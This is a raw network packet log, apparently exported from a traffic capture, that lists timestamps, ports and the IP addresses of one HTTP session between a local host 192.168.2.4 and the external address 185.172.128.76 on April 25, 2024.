Apr 25, 2024 14:42:08.017683983 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.017719984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.070760965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.070805073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.070909023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.070931911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071325064 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071362972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071378946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071417093 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071419001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071459055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071468115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071497917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071511984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071535110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071549892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071573019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071584940 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071610928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071623087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071662903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.071940899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071980000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.071994066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072017908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072031975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072056055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072092056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072093010 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072114944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072145939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072148085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072196960 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072393894 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072433949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072452068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072484016 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072493076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072531939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072542906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072570086 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072581053 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072618961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072640896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072679043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072691917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072729111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072751045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072789907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072802067 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072827101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072863102 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072865009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072885990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072904110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072921991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072942019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072954893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.072979927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.072993040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073018074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073029995 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073055029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073065042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073092937 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073106050 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073132992 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073149920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073170900 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073196888 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073210001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073221922 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073259115 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073282003 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073318958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073333025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073355913 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073369980 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073394060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073405981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073457003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073463917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073501110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073527098 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073537111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073548079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073586941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073649883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073687077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073704958 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073729038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073743105 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073765993 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073779106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073803902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073816061 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073842049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073854923 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073880911 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073898077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073919058 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073925018 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073956966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.073971033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.073996067 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074006081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074033022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074043989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074069977 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074083090 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074107885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074131012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074146986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074176073 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074183941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074220896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074225903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074245930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074258089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074275017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074295998 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074316025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074331999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074348927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074368954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074381113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074407101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074420929 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074445963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074456930 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074481964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074500084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074518919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074532986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074557066 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074565887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074594021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074605942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074632883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074640036 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074668884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074681997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074707031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074719906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074744940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074767113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074781895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074807882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074821949 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074831963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074861050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074872017 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074898958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074919939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074937105 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074948072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.074973106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.074985981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.075021982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.075045109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.075081110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.075093985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.075118065 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.075131893 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.075155973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.075169086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.075193882 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.075206041 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.075246096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.123691082 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123734951 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123771906 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123807907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123846054 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123882055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123910904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.123920918 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123958111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.123970032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.123996019 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124011993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124033928 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124051094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124073029 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124084949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124119997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124181032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124217987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124245882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124255896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124264956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124293089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124310970 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124332905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124346972 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124370098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124386072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124408007 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.124423981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.124465942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.125061035 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.125101089 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.125114918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.125149012 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.126027107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.126081944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.126111031 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.126148939 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.126164913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.126195908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.126220942 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.126271009 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127573013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127610922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127630949 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127649069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127660990 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127696037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127754927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127794981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127811909 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127831936 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127845049 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127871037 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127883911 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127909899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127919912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.127949953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.127960920 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128005981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128031969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128070116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128082991 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128118992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128134012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128170967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128189087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128209114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128221035 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128249884 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128259897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128287077 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128297091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128324032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128334045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128361940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128367901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128400087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128412008 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128452063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128464937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128489971 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128503084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128528118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128539085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128566027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128576994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128604889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128617048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128654003 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128710032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128746986 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128760099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128784895 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128792048 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128823996 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128834963 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128864050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128881931 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128901958 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128912926 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128942013 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128948927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.128979921 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.128994942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129017115 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129028082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129055023 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129072905 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129091978 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129105091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129129887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129143000 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129169941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129180908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129209995 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129221916 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129249096 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129257917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129287004 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129298925 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129327059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129337072 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129364014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129374981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129400969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129410982 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129440069 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129447937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129477024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129486084 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129515886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129527092 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129554987 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129565954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129592896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.129604101 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.129641056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.177985907 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.178004980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.178023100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.178041935 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.178071022 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.178101063 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.178134918 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222301006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222342014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222368002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222398043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222407103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222445965 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222455025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222493887 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222527027 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222563982 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222573996 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222611904 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222668886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222718954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:08.222738981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222776890 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:08.222799063 CEST	49731	80	192.168.2.4	185.172.128.76
